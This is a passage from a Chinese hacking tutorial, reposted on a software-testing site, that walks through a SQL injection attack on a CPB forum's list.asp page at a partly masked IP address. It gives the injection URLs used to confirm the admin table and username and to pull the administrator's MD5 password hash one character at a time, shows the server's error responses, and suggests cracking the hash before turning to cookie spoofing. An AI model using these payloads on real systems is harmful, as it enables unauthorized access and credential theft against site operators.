這些信息說明了:主機211.***.***.116上的cpb論壇的數據庫并沒有經過改動,與原始的表結構是一樣的:表名為admin,管理員的a_id為2,這樣就省了我們很多的麻煩。
下面的目標就是要得到管理員的用戶名和密碼了。
提交:
http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where
admin=admin)
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必須使用一個可更新的查詢。
/list.asp,行145
看來連管理員的用戶名都還是默認的admin。
那么,密碼是不是也是默認的admin呢,想到這里我返回到論壇的首頁用用戶名admin密碼admin登陸,結果失!看來還是老老實實的猜測password的值吧!
提交:
http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left
(password,1)='a')
返回的是一個報告出錯的頁面,這點告訴我們由MD5加密后的密碼的第一位不是'a'。
注:由MD5加密后的密碼長度為16位,每一位是一個16進制數,所以理論上最多猜測256次即可得到該值
當提交:
http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left
(password,1)='1')
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80004005'
[Microsoft][ODBC Microsoft Access Driver] 操作必須使用一個可更新的查詢。
/list.asp,行145
可以得知第一位是'1'。
同理可以依次得到每一位的值,最終經過耐心的嘗試得到'19a7e9898008f09e'。這一步可能會耗費一些時間,當然也可以通過編寫一個腳本來實現自動獲取的目的。
好了,現在該輪到MD5的“暴破”專家DeMd5出場了,填入剛剛得到的'19a7e9898008f09e',下面就可以喝杯咖啡然后等著密碼來找你吧!
那么難道在密碼沒有破解出來之前就只有等待么?當然是否定的,我可不想指望著DeMD5能給我一個滿意的答案,萬一這個管理員用了十幾位的數字、大小寫字母和符號來組成他的密碼,那豈不是慘了?!
還好還有COOKIE欺騙這一招可用:
文章來源于領測軟件測試網 http://www.kjueaiud.com/